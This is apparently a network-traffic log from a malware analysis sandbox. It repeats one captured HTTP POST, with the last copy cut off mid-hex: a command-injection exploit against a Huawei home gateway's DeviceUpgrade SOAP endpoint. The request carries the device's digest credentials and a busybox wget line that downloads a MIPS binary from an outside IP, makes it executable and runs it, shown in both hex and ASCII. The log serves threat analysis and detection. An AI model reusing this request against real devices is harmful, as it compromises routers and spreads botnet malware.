| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 